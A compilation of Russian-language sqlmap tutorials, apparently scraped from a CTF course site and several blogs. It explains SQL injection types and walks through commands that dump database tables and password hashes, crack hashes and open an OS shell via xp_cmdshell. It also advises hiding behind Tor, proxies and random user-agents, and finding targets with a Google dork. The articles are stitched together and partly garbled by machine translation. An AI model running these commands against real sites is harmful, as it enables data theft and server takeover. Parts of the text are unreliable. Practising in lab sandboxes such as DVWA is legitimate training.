Sqlmap как пользоваться: SQL-инъекции — это просто — «Хакер»
Основы работы с sqlmap. · Курс молодого CTF бойца v 1.5
Заголовок 12345678890q989q9q8293q8239q839q2398
О Проекте
О CTF
Основные команды Bash
Crypto
Мануал по методу кодирования base 16/32/64.
Шифр Цезаря
Шифр простой замены
Взлом Rail fence cipher
String crypto
Шифр Виженера
XOR, XORtool
Forensic
What is 010 Editor?
Network
Сетевые утилиты
Основы работы с sqlmap.
Reverse Engineering/PWN
Exploiting/PWN
Stegano
Работа с изображениями
Stegsolve
Что такое виртуальная машина?
Создание виртуальной машины
Установка VirtualBox
Установка Kali Linux
Настройка VirtualBox
Настройка виртуальной машины
Web
Burp Suite
Cookie
CSRF
Chrome Devtools
HTTP
.git
HTTP Headers
Local File Inclusion
OWASP DirBuster
Remote Code Execution
Remote File Inclusion
robots.txt
.svn
XSS
Курсы команды Hackerdom
Вводная лекция
Использование SQLMap | DefconRU
SQL Injection – это тип атаки, при котором злоумышленник изменяет логику SQL запросов веб-приложения, что позволяет ему читать/изменять/удалять значения в базе данных, а иногда – выполнять произвольный код на стороне сервера. В статье будет рассмотрена популярная утилита sqlmap для проведения sql-инъекций.
На данный момент, данный тип уязвимости является наиболее опасным из всех возможных. На протяжении 7 лет, лидирующую строчку «OWASP TOP-10» возглавляют именно SQL инъекции.
Существует 5 основных причин возникновения этой уязвимости:
- Недостаточный уровень или отсутствие валидации входных параметров, в особенности пользовательского ввода. «Любой входной параметр — зло»
- Необоснованный и слабозащищенный доступ к базам данных. В эту категорию входят такие факторы как: большое количество администраторов и супер-пользователей (root), слабая система аутентификации, большое количество прав для второстепенных администраторов и т.д.
- Архитектура. Использование устаревших технологий, отсутствие контрольных мер, пренебрежение методологией «моделирование угроз».
- Наследственность заведомо уязвимого кода, использование готовых решений с низким уровнем безопасности.
- Отсутствие должного уровня абстрагированности исполняемого кода от данных.
Типы SQL инъекций.
Рассмотрим типы SQL инъекций эксплуатируемые утилитой SQLMap:
- Boolean Based Blind SQL Injection
- Метод, при котором HTTP-запросы и ответы считываются посимвольно для обнаружения уязвимости.
- Как только уязвимый параметр обнаружен, SQLMap заменяет или добавляет синтаксически правильные операторы SQL, ожидая реакции выполнения этого кода сервером.
- SQLMap сравнивает оригинальный валидный запрос с ответом от запроса с внедрённым зловредным кодом.
- SQLMap использует алгоритм деления пополам (bisectional algorithm) для выборки каждого символа ответа с использованием максимум семи HTTP-запросов.
- Там, где ответ отдаётся не в чистом тексте, SQLMap адаптирует алгоритм большими значениями для определения ответа.
- Time-Based Blind SQL Injection
- Метод Time Based сам по себе предполагает, что существует некоторое сравнение на основе времени запроса и ответа путем инъекции синтаксически правильного оператора SQL в уязвимый параметр.
- SQLMap использует операторы SQL, которые помещают базу данных в режим ожидания для возврата на определенное количество времени.
- Использует тот же алгоритм bisectional algorithm, чтобы выводить символ за символом, SQLMap сравнивает время ответа HTTP с исходным запросом.
- Error-Based SQL Injection
- SQLMap использует операторы SQL, которые могут спровоцировать генерацию специфической ошибки.
- Утилита ищет ошибки в HTTP-ответе сервера.
- Этот метод работает только в том случае, если веб-приложение настроено на раскрытие сообщений об ошибках.
- UNION Query
- Вводимый SQL оператор UNION ALL SELECT.
- SQL-инъекция, основанная на запросах UNION, работает на основе поведения приложения, т.е. когда приложение передает результат письменного запроса SELECT через определенный цикл или строку инструкций, которые позволяют выводить выходные данные на содержимое страницы.
- В случае, если вывод не циклируется через какой-либо цикл for или другую строку операторов, SQLMap использует однократную инъекцию запроса UNION.
- Stacked Query
- Использование сложенных запросов. SQLMap добавляет точку с запятой (;) в значение уязвимого параметра и добавляет инструкцию SQL, которая должна быть выполнена.
- Используя эту технику, можно выполнять SQL-выражения, отличные от SELECT. Это полезно для манипуляции данными, получения доступа на чтение и запись и, наконец, захвата операционной системой.
- Out-Of-Band
- В этом методе используется вторичный или другой канал связи для вывода результатов запросов, запущенных в уязвимом приложении.
- Например, вставка выполняется в веб-приложение, а вторичный канал, такой как DNS-запросы, используется для пересылки данных обратно на домен злоумышленника.
Базовое использование SQLMap.
Запуск утилиты (должна находиться в переменной PATH):
$ sqlmap
Или из директории утилиты:
$ python sqlmap.py
Для вызова документации используется ключ «-h / —help»:
$ sqlmap --help $ python sqlmap.py –help
Действия ключей SQLMap полностью зависят от того, чего конкретно хочет добиться злоумышленник. Основной список действий SQLMap выглядит следующим образом:
- Перечислить информацию о базе данных, такую как имя, версию и другие детали.
- Выбрать определённую базу для перечисления информации о имеющихся в ней таблиц.
- Выбрать таблицу и перечислить информацию о столбцах.
- Выбрать столбец и перечислить строки для извлечения их значений.
- Дальнейшая эксплуатация.
Для нашей практической подготовки мы будем использовать Damn Vulnerable Web Application (DVWA или «Чертовски уязвимое веб приложение»).
DVWA – это свободно распространяемое веб-приложение построенное на таких технологиях как PHP и MySQL, предназначенное для тренировки навыков пентеста.
Сейчас нас интересуют только инъекции, но в целом, вы можете проверить свои способности в остальных уязвимостях, созданных на основе официального OWASP TOP-10.
P.S.: Эта практика подразумевает наличие у вас знания основ Linux, начального уровня английского языка и умение использовать Google (в случае неимения вышеперечисленных навыков).
Установка:
- Скачиваем приложение и следуем инструкциям;
- Меняем уровень сложности на LOW;
- Интересуемся только вкладками “SQL Injection”;
Начальные данные:
- Веб сервер в приватной сети
- Уязвимый URL: http://your—host.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
- Уязвимый параметр: id
Итак, приступим:
- Подтверждаем наличие SQL инъекции:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"
Пояснение к команде:
— url – URL с предполагаемым уязвимым параметром. Важно заметить, что переменная этого ключа записана в кавычках, т.к. проверяемый URL имеет больше одного передаваемого параметра. В противном случае кавычками можно пренебречь и использовать короткий вариант ключа “-u” без знака равенства.
— cookie – Сессионная куки для прямого доступа во время атаки (необязательный ключ).
Вывод:
Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:
- Приложение уязвимо к SQL инъекции
- Тип инъекции – UNION Query
- Back-end база данных(DBMS) – MySQL5
- Технические детали ОС — Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
- Перечисляем названия баз данных:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs
Пояснение к команде:
—dbs – ключ для перечисления имеющихся баз данных.
Вывод:
Анализ: SQLMap перечислил доступные базы данных (всего 7).
- Перечисляем названия таблиц (бд — dvwa):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables
Пояснение к команде:
—D – Указываем интересующую нас базу данных.
—tables – Перечисляем имеющиеся таблицы в бд.
Вывод:
Анализ: Как мы видим, SQLMap успешно перечислил названия 2-х таблиц в бд dvwa.
- Дальнейшее перечисление названий столбцов таблицы “users”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users –columns
Пояснение к команде:
—T – Указываем интересующую нас таблицу.
—columns – Перечисляем имеющиеся колонки в таблице.
Вывод:
Анализ: Как мы видим, SQLMap успешно перечислил названия 6-х колонок в таблице users, бд dvwa.
- Перечисляем/вытягиваем значения из таблицы “users”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users -C user_id,user,password --dump
Пояснение к команде:
-С – Указываем интересующие нас столбцы.
—dump – Вытягиваем значения из перечисленных столбцов.
Вывод:
Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:
- SQLMap извлекает записи из указанных столбцов и затем анализирует данные, содержащиеся в этих столбцах.
- Как только данные распознаются как возможные хэши паролей, SQLMap пытается попытаться взломать хэш, используя различные алгоритмы хеширования.
- В этом случае хеш — MD5, поэтому с помощью самой первой хеш-техники, которую использует инструмент, он может успешно взламывать хэши и выдавать хорошо отформатированный ответ.
- Кроме того, инструмент сохраняет перечисленные записи в файле формата «.csv» для дальнейшего использования; Поэтому вам не нужно выгружать данные в текстовый файл или делать скриншот, SQLMap позаботится об этом.
- Дальнейшая эксплуатация и захват сервера (ASP, не входит в состав DVWA):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell
Пояснение к команде:
—data – Указываем параметры для тестирования, передающиеся в POST запросе.
—os—shell – Специальный ключ для попытки эксплуатации серверной консоли через SQL инъекцию.
Вывод:
Анализ: Основываясь на ответе SQLMap отмечаем следующие моменты:
- После подтверждения и эксплуатации SQL-инъекции, SQLMap проверяет, является ли пользователь DBA (Data Base Administrator).
- После этого инструмент попытался использовать расширенную хранимую процедуру — «xp_cmdshell», которая обычно используется SQL Server 2000.
- «xp_cmdshell» используется для выполнения заданной командной строки в качестве команды операционной системы. В свою очередь, он выводит результат как стандартный текст.
Преимущества получения более глубокого уровня доступа к системе:
- Доступ к учетным данным пользователя или хэшам паролей.
- Интерактивная оболочка, которая позволит вам загружать или выгружать файлы с сервера.
- Запуск осевых команд (ОS) для изучения внутренней сети.
- Возможность загрузки малвари.
- Дальнейшая эксплуатация с помощью Metasploit Framework.
- Создание и залив бэк-доров.
- SQLMap и SOAP (Simple Object Access Protocol) запросы: Процесс анализа запросов SOAP довольно прост:
- Захват вашего SOAP-запроса.
- Сохранение его в текстовый файл вместе с возможными уязвимыми параметрами.
- Используйте нижеприведенную команду для SQLMap вместе с опцией -p, если вам известен уязвимый параметр:
$ ./sqlmap.py -r So_request.txt -p <vulnerable parameter>
- SQLMap автоматически проанализирует запрос SOAP и попытается проникнуть в уязвимый параметр.
- SQLMap и JSON (JavaScript Object Notation) запросы: В аналогичных сценариях использования SQLMap для SOAP-запросов, JSON-запросы тоже могут анализироваться и эксплуатировать. Для запроса типа JSON, SQLMap предложит вам эксплуатировать уязвимость обнаружив тип запроса JSON в «файле запроса». Как только вы ответите утвердительно, инструмент проанализирует запрос и выберет свой собственный вектор атаки.
- SQLMap и прокси-сервер: Корпоративные типы сетей обычно защищены и контролируются с использованием контролируемых прокси-серверов для всего входящего или исходящего трафика. В таких случаях у вас есть возможность добавить параметр прокси прямо к опции SQLMap для связи с целевым URL. Хотя SQLMap является инструментом командной строки, он обменивается данными через HTTP-протокол, следовательно, если вы установите HTTP-прокси для соответствующего интернет-соединения, SQLMap примет его за основу:
$ ./sqlmap.py --proxy=http://<proxy-ip>:<proxy-port>
- SQLMap и WAF (Web Application Firewall): WAF является дополнительным уровнем защиты веб-приложений, значительно усложняя анализ и эксплуатацию стандартными методами имеющимися в SQLMap. Для этого существует функция “tamper—script”, которая значительно упрощает работу с веб-приложениями, находящимися за WAF’ом.
- SQLMap и анонимность: Если вы хотите скрыть свою личность и представиться анонимом для целевого приложения, вы можете использовать прокси-сервер TOR (The Onion Router). В SQLMap вы можете настроить прокси-сервер TOR для скрытия источника, из которого генерируется трафик или запрос следующими ключами:
- — tor – переключение утилиты в режим использования TOR-прокси.
- —— tor—type – ручная настройка протокола TOR-прокси (HTTP/SOCKS4/4a/5).
- —— check—tor – проверка работоспособности TOR-прокси
SQLMAP-Учебник По Первому Инструменту Внедрения SQL
1. Введение
SQL инъекции является обязательным знать хакерский словарь. Вы научились вводить простые запросы, такие как универсальные истинные запросы и запросы, основанные на объединении. Вы можете войти в систему как администратор или получить конфиденциальную информацию из баз данных. Теперь представьте, что эти уязвимости исследованы на автоматизированном уровне. Представьте себе скрипт, который выполняет несколько запросов, извлекает много информации и организует ее. Возможно ли это? Если вы никогда не слышали о каком-либо инструменте SQL Injection, эта статья для вас. В этой статье мы говорим о sqlmap, инструменте, который сканирует формы, находит SQL-уязвимости на HTTP-серверах, делает запросы к БД и, возможно, получает контроль над машиной.
2. Цель
- Чтобы представить SQLMAP.
- Обучение простому сканированию в формах http (GET / POST)
- Чтобы выполнить первую атаку SQL-инъекции.
3. Установка И Требования
В Linux и с установкой Python на компьютере клонируйте репозиторий SQLMAP git.
Код:
git clone --глубина 1 https: / /github.com/sqlmapproject / sqlmap.git sqlmap-dev
Запустите программу со следующей командой, чтобы получить CLI меню справки.Если все прошло хорошо, теперь вы представлены в меню использования SQLMAP.
ПС.: на windows, я думаю, можно запустить его тоже, на Power Shell и с Python установлен.
4. Как Это Работает
SQLMAP выполняет HTTP-запросы и обрабатывает их ответы. Можно себе представить, мы отправляем несколько HTTP запросов, фильтруем его ответы и анализируем затраченное время. SQLMAP делает очень похожую вещь и суммирует ее в следующих методах (подробнее здесь):
- слепой на основе логического
- слепой на основе времени
- ошибка на основе
- объединение на основе запросов
- штабелированные запросы
С помощью этих методов SQLMAP может извлекать имена таблиц, столбцов, строк, и он может заставить SQL server выполнять команды, если у него есть права администрирования для него. Но сначала SQLMAP должен найти уязвимость и надлежащую технику для выполнения. Таким образом, жизненный цикл выполнения SQLMAP можно суммировать в 3 шага:
- Поиск Уязвимостей
- Сканирование Баз Данных
- Взятие Под Контроль
Эти шаги и методы уже автоматизированы и настраиваются. Теперь мы кратко рассмотрим, как его использовать.
5. Ваше Первое Сканирование
Найдите простой URL запроса GET в Google. Это должен быть URL-адрес, который отправляет запрос GET на сервер и требует SQL-запрос, таким образом, мы можем протестировать его для SQL-инъекции. Поместите «inurl id=1», чтобы решить Google dork.
Код:
google.com/search?q=inurl%20id=1
Теперь запустите SQLMAP для проверки этого запроса HTTP GET.
Код:
python sqlmap.py --url [URL_2SCAN]
Я предполагаю, что вы запускаете все внутри терминала из linux. Если эти шаги прошли нормально, теперь вы сканируете запрос GET. Если вам также повезло найти уязвимую форму, SQLMAP сообщит об этой уязвимости и методе. Он должен выглядеть похожим на следующее изображение.
6. Глубокая Информация И Отладка
Теперь, когда вы выполнили первое сканирование с помощью SQLMAP, вы хотите понять, что делает инструмент для получения этой информации. Вы же не хотите, чтобы ваш IP-адрес попал в черный список, не так ли? Не попадайте в неприятности из-за пропуска конфигурации инструмента. Знать, что он делает и контролировать его должным образом.
A. Многословие
Установите уровень детализации на 3. Таким образом, вы будете знать, какие полезные данные SQLMAP отправляет в HTTP-запросе. Вы также будете проинформированы об ответе HTTP. Обратите внимание, какие различные запросы sqlmap запрограммирован для отправки и google методы, чтобы узнать, почему эти полезные нагрузки могут получать информацию так, как они должны. Подумайте, как вы могли бы сделать это в браузере и как вы могли бы написать его.
Код:
python sqlmap.py --url [URL_2SCAN] -v 3
Уровень детализации варьируется от 1 до 6. Уровень 1 является стандартным уровнем. На уровне 6 мы можем видеть заголовки и тело HTTP-запросов и ответов. Некоторые серверы могут отправлять HTTP-код 200 с блокирующим сообщением в теле ответа HTTP. Вы только знаете, что запросы блокируются с уровнем детализации 6.
B. Прокси И User-Agent
Если вы знаете, что такое анонимность , вы также должны знать , что такое прокси, vpnи torи для чего они важны. Короче говоря, без них клиент и сервер общаются напрямую. Если вы настроите один из них, они будут выступать в качестве промежуточного звена в соединении, и ваш IP-адрес не будет предоставлен напрямую. Тогда, теоретически, вы перемещаетесь анонимно.
Вы хотите настроить прокси? Сделать следующее:
Код:
python sqlmap.py --url [URL_2SCAN] --proxy [protocol: //] [host]:[port]
python sqlmap.py --url [URL_2SCAN] --proxy https: / / 165.227.19.146:8080 #(например)
python sqlmap.py --url [URL_2SCAN] --proxy socks5: / / 136.243.224.116:1080 #(например)
Вы хотите настроить tor? Выполните одно из следующих действий:
Код:
python sqlmap .py -- url [URL_2SCAN] -- tor
python sqlmap .py -- url [URL_2SCAN] -- Tor-тип [протокол] -- Tor-порт [Порт]
Обычно сервер не принимает HTTP-запрос, если вы не отправляете user-agent. Таким образом, чтобы подделать запрос с помощью агента пользователя, установите один из них:
Код:
python sqlmap.py --url [URL_2SCAN] --random-agent
python sqlmap.py --url [URL_2SCAN] --user-agent=[USER_AGENT]
C. Уровни И Риски
Если вы следовали этому учебнику правильно, вы сделали некоторые сканирования с различным уровнем детализации и заметили, что некоторые запросы были пропущены SQLMAP, потому что они были слишком рискованными или слишком сложными. Как вы можете настроить его, чтобы попробовать их? Настройка уровня риска и выбор номера в указанном диапазоне:
Код:
python sqlmap.py --url [URL_2SCAN] --level [1-5]
python sqlmap.py --url [URL_2SCAN] --risk [1-3]
Уровень 1 является стандартным и самым безопасным. Уровень 3 будет запрашивать все возможные запросы.
D. Изучение Базы Данных
Теперь мы знаем, как настроить SQLMAP и знаем, как найти уязвимости. Как извлечь важную информацию из базы данных? Это называется перечисление SQLMAP. Сделать следующее:
Код:
python sqlmap.py --url [URL_2SCAN] --current-user #(get active username)
python sqlmap.py --url [URL_2SCAN] --current-db #(get active db)
python sqlmap.py --url [URL_2SCAN] -- is-dba #(проверьте, является ли пользователь администратором)
python sqlmap.py --url [URL_2SCAN] --users #(получить других пользователей)
python sqlmap.py --url [URL_2SCAN] --passwords #(получить пароли пользователей)
python sqlmap.py --url [URL_2SCAN] --all #(получить всю возможную информацию)
E. Взятие Под Контроль
Если сканируемая база данных имеет пользователя администратора базы данных, можно выполнять команды от имени администратора. Сделать следующее.
Код:
python sqlmap .py -- url [URL_2SCAN] -- os-shell #( linux server)
python sqlmap .py -- url [URL_2SCAN] -- os-cmd [CMD] #( windows server)
Если пользователь не является администратором, команда просто не будет выполняться. Итак, проверьте это!
7. Разное
На этом учебник заканчивается. Обратите внимание, что в этом руководстве не рассматриваются некоторые конфигурации SQLMAP. SQLMAP также способен:
- Прямое подключение к базе данных (- d)
- Загрузка HTTP-запроса из файла (- r)
- Сканирование XML sitemap (-x)
- Сканирование google dork (g)
- Разделы реестра Windows (—reg-add, —reg-del, —red-read —reg-key)
- Чтение и запись файлов на сервере (—file-read, —file-write, —file-dest)
- Укажите запрос для запроса (—sql-query)
Ссылки На Литературу
- официальный сайт
- Страницы Github
Hack.me, Basic SQL инъекция с использованием sqlmap.
Практически любой сайт использует СУБД, в них хранятся ссылки,пользователи,пароли и много другой информации. SQL инъекция это очень популярный вид атаки на web-приложения основанный на внедрение операторов SQL в запросы.
Допустим у нас есть скрипт который ищет id в базе данных и выводит это:
$id = $_GET[‘id’];
$query = «SELECT * FROM news WHERE id=$id»;
http://example.org/script.php?id=5 и выполниться следующий запрос SQL:
SELECT * FROM news WHERE id=1
Если запрос не как не фильтруется мы может его видоизменить и послать базе совсем другой запрос http://example.org/script.php?id=5 UNION SELECT 1
SELECT * FROM news WHERE id=1 UNION SELECT 1
Это базовый принцип работы SQL инъекции, я не буду здесь разбирать подробности. Конечно я вам рекомендую более глубоко познакомиться с принципом и работой SQL запросов. Имея базовые знания мы может использовать уже готовые решения для нахождения и эксплуатации SQL-injection. Например известнейшая утилита с открытым кодом SQLMAP.
Что она только не умеет :
- Полная поддержка MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB.
- Полная поддержка шести техник SQL-инъекций: слепая логическая (boolean-based blind), слепая, основанная на времени (time-based blind), основанная на ошибке (error-based), основанная на запросе UNION (UNION query-based), многоярусные запросы (stacked queries) и вне полосная (out-of-band).
- Поддержка прямого подключения к базе данных без прохода через SQL инъекцию, посредством введения учётных данных СУБД, IP адреса, порта и имени БД.
- Поддержка перечисления пользователей, хешей паролей, привилегий, ролей, БД, таблиц и колонок.
- Автоматическое распознавание форматов хешей паролей и предложение их взлома с использованием атаки по словарю.
- Поддержка сдампливания записей таблиц БД.
- И это не все его возможности!
Конечно сразу очень хочется попробовать ее в деле )) И у нас есть такая законная возможность благодаря отличному sendbox проекту Hack.me. Где можно попробовать свои силы в тестировании на проникновении web приложений.
Я нашел подходящий нам sendbox Very basic SQL injection.
Запускаем, переходим по ссылке и попадаем в простую форму входа:
Ну что же, натрави на нее sqlmap:
python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php —banner —random-agent —forms —dbs
-u URL сайта.-u URL сайта.
—banner Баннер, получение информации о СУБД.
—dbs Перечислить базы данных СУБД.
—random-agent Использовать случайно выбранное значение заголовка HTTP User-Agent.
—forms Парсить и тестировать формы на целевой URL.
Отвечаем на всякие вопросы и в итоге получаем с начало информацию об найденных уязвимостях :
Собственно потом нам предложили воспользоваться ее для получения списка баз данных :
База information_schema стандартная и в ней думаю ничего интересного нету.
python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata —tables —forms
-D Указываем базу данных.
—tables Перечислить таблицы базы данных СУБД.
Едим дальше :
python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata -T users —columns —forms
Теперь нам осталось только заглянуть в таблицы :
python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata -T users -C username —damp —forms
-T Таблица.
-С Колонка.
—dump Сдампить записи таблицы базы данных СУБД.
Дальше я думаю вы конечно же разберетесь )))
You have logged in. Here’s my top secret message:
I am a unicorn. SHHH! Don’t tell anyone.
Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.
Sqlmap — сканер sql уязвимостей и не только / Хабрахабр
Sqlmap — сканер sql уязвимостей и не только / Хабрахабр
Sqlmap — это программа с открытым исходным кодом, которая может стать отличным инструментом в руках пентестера. Главная задача сканера — автоматизированный поиск и эксплуатация sql уязвимостей. Sqlmap написан на python, а значит превосходно работает на большинстве современных операционных систем.
Программа обладает огромным функционалом, который поможет не только найти уязвимость, но и при совокупности некоторых факторов заполучить полный контроль над целевой машиной. Я постараюсь описать все возможности программы и привести наиболее интересные примеры работы с ней, а детально изучить утилиту вам поможет официальное пользовательское руководство.
Что умеет sqlmap:
Основные возможности:
- Поддержка MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase и SAP MaxDB.
- Поддержка следующих типов инъекций: boolean-based blind, time-based blind, error-based, UNION query и stacked queries.
- Возможность подключиться к БД напрямую, используя логин, пароль, ip, порт и имя базы.
- Работа с конкретным url, со списком целей из Burp proxy или WebScarab proxy, с текстовым файлом, содержащим HTTP запрос или же прямо из поисковой системы Google.
- Тестирование всех параметров, передаваемых методами GET и POST, через cookie, в заголовках User-agent и Referer и попытка их эксплуатирования. Так же вы можете задать какой-то один определенный параметр(ы) для проверки.
- Опциональная многопоточность, которая позволяет сильно ускорить проведение слепых инъекций, или же наоборот, ограничить количество запросов на определенный промежуток времени. Множество вариантов оптимизации для ускорения.
- Возможность передавать cookie, что позволяет проходить авторизацию на тестируемом приложении или же тестировать cookie на sql уязвимости.
- Принимать и хранить в сессии cookie, которые были установлены самим приложением, а так же пытаться их эксплуатировать. При желании можно игнорировать заголовок set-cookie.
- Аунтефикация по протоколу HTTP basic, Digest, NTLM или с помощью сертификата.
- Работа через прокси.
- Возможность задать произвольные заголовки User-agent и Referer, или же выбрать User-agent случайно из текстового файла.
- Возможность изменять уровень информативности выходных сообщений (всего 7 уровней).
- Парсинг форм, находящихся по целевому адресу, с целью повторной отправки запроса на принимающий скрипт формы (action) и тестирование параметров формы.
- Гибкость в настройки и использовании.
- Расчетное время для каждого запроса, который обновляется в реальном времени и позволяет пентестеру знать, сколько времени потребуется для получения ответа.
- Автоматически сохраняет сессии (запросы и ответы, даже частично полученные) в текстовом виде и в реальном времени. Это позволяет продолжить инъекцию или другое действие сразу же, после парсинга сессии и не повторять запросы на атакуемое приложение.
- Возможность читать все параметры из текстового файла, а не вводить их в ручную каждый раз.
- Поддержка репликации БД сервера на локальную БД sqlite3.
- Обновление до актуальной версии из репозитория.
- Парсинг ответов с целью найти и показать сообщения об ошибках БД.
- Интеграция с другими инструментами для пентеста — Metasploit и w3af.
Возможности fingerprint (получения полезной информации о приложении и сервере):
- Определение версии и наименования БД, а также операционной системы, на которой запущено приложение. Анализ основывается на сообщениях об ошибках, баннере сервиса, и способом сравнения. Вы можете задать имя используемой БД в ручную, если вы его знаете.
- Программное обеспечение веб сервера и приложения.
- Возможность получить баннер, получить информацию о текущей БД и ее пользователе, а также о привилегиях текущего пользователя.
- Список пользователей БД, их привилегии, хэши паролей.
- Автоматическое распознавание формата хэшей паролей и возможность прогнать их по словарю, который прилагается вместе с sqlmap.
- Брут имен таблиц и столбцов. Это бывает полезным, когда у текущего пользователя нет доступа к системным таблицам или таких таблиц вообще нет.
- Возможность сделать дамп таблиц целиком, определенных колонок. Возможно сделать дамп только определенный диапазон символов для каждого столбца.
- Дамп всех БД целиком, с возможностью задать исключение.
- Поиск конкретных таблиц или колонок во всех таблицах и баз данных. Это полезно для поиска таблиц с пользователями или паролями.
- Возможность вызвать интерактивный sql клиент, который позволит вам выполнять произвольные запросы к БД вручную. Sqlmap сам побеспокоится о том, чтобы упаковать ваш запрос и выполнить его через найденную уязвимость.
Возможности расширения контроля над системой:
- Возможность скачивать файлы с сервера, при условии, что в качестве бэкенда используется MySQL, PostgeSQL или Microsoft SQL Server. Разумеется, для этих операций пользователь БД должен иметь особые привилегии и права на запись/чтение нужного файла.
- Выполнение произвольных команд на системе с получением их вывода, при условии, что используются MySQL, PostgeSQL или Microsoft SQL Server.
- Создание tcp подключения к серверу с помощью интерактивной командной строки или VNC.
- Доступ к реестру windows (Чтение, вставка, удаление).
Я перечислил практически все возможности этого замечательного сканера. Теперь я хочу показать несколько практических примеров, благодаря которым вы наглядно увидите работу сканера, а также познакомитесь с некоторыми параметрами.
Основы работы:
В самом простом варианте sqlmap можно запустить так:
python sqlmap.py -u http://sitefortest.kz/index.php?id=17
Этого будет достаточно для того, чтобы sqlmap начал свою тяжелую работу. Как можно легко догадаться, ключ -u задает адрес нашей цели. Сканер произведет запрос по заданному урл и будет анализировать все параметры, которые
мы указали в ссылке (id=17). Но давайте добавим немного полезных фич:
python sqlmap.py -u http://sitefortest.kz/index.php?id=17 --data="p1=17&p2=0" --random-agent --cookie="PHPSESSID=6993b496e105a565b2b6
Рассмотрим все параметры, используемые в этом запросе:
- —data=«p1=17&p2=0» — мы отправили еще два параметра методом POST. Теперь sqlmap протестирует и их тоже.
- —random-agent — Вместо дефолтного юзерагента будет случайным образом выбран правдоподобный. Список юзерагентов лежит в файле txt/user-agents.txt. Это очень полезно, когда надо обойти простенькую IDS или же при работе через гугл, который будет банить нас, если заметит дефолтный юзерагент sqlmap.
- —cookie=«PHPSESSID=6993b496e105a565b2b6
59bbf7751c41» — передаем нашу php сессию, которая хранится в файлах cookie. - —auth-type Basic — указываем, что на сервере потребуется Basic аунтефикация.
- —auth-cred «user:password» — и передаем данные для авторизации: логин и пароль.
- —threads 3 — выполнять 3 запроса параллельно.
- —os=«Linux» — Когда мы точно знаем, какая ОС используется на сервере, ее лучше указать, чтобы облегчить работу sqlmap. Но вы должны быть уверены на 100%, иначе sqlmap пойдет по ложному следу.
Теперь посмотрим на работу нашего сканера. Я немного обрезал вывод и оставил лишь самое интересное, при этом дополнив комментариями (/**/).:
[*] starting at: 04:04:35
[04:04:35] [INFO] using
‘/home/lirvux/work/hack/sqlmap/output/
[04:04:35] [INFO] testing connection to the target url
[04:04:37] [INFO] testing NULL connection to the target url
[04:04:39] [WARNING] the testable parameter ‘id’ you provided is not into
the Cookie
[04:04:39] [INFO] testing if the url is stable, wait a few seconds
— — [04:04:41] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user’s manual paragraph ‘Page comparison’ and
provide a string or regular expression to match on
how do you want to proceed? [©ontinue/(s)tring/®egex/(q)uit] c
/*Sqlmap сообщает, что ссылка не является стабильной и предупреждает нас о том,
* что для сравнения результатов запросов ему возможно потребуется задать строку
* (s) или регулярное выражение ®, по которому он сможет ориентироваться. Но
* можно попытаться и без этого, выбрав продолжить ©*/
[04:06:22] [INFO] heuristic test shows that GET parameter ‘id’ might be
injectable (possible DBMS: MySQL)
/*sqlmap предположил, что в качестве бекенда используется MySQL*/
[04:06:22] [INFO] testing sql injection on GET parameter ‘id’
[04:06:22] [INFO] testing ‘AND boolean-based blind — WHERE or HAVING clause’
[04:06:28] [INFO] testing ‘MySQL >= 5.0 AND error-based — WHERE or HAVING
clause’
[04:06:28] [INFO] GET parameter ‘id’ is ‘MySQL >= 5.0 AND error-based — WHERE or HAVING clause’ injectable
[04:06:28] [INFO] testing ‘MySQL > 5.0.11 stacked queries’
[04:06:29] [INFO] testing ‘MySQL > 5.0.11 AND time-based blind’
[04:06:35] [INFO] testing ‘MySQL UNION query (NULL) — 1 to 10 columns’
[04:06:39] [INFO] testing ‘Generic UNION query (NULL) — 1 to 10 columns’
GET parameter ‘id’ is vulnerable. Do you want to keep testing the others?
[y/N] N
/*Проведя некоторые тесты нам удалось узнать, что параметр id уязвим. Мы
* можем продолжить анализировать другие параметры (y) или же начать
* эксплуатировать найденную уязвимость (N)*/
sqlmap identified the following injection points with a total of 33 HTTP(s)
requests:
— Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause
Payload: &id=51 AND (SELECT 4188 FROM(SELECT COUNT(*),CONCAT(CHAR(58,100,115,116,58),
/*Выше мы видим запрос, который сформировал sqlmap, а ниже видим информацию о
* БД и сервере, которую sqlmap смог получить для нас*/
[04:06:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.10 (Maverick Meerkat)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[04:06:53] [INFO] Fetched data logged to text files under ‘/home/lirvux/work/hack/sqlmap/output/si
[*] shutting down at: 04:06:53<
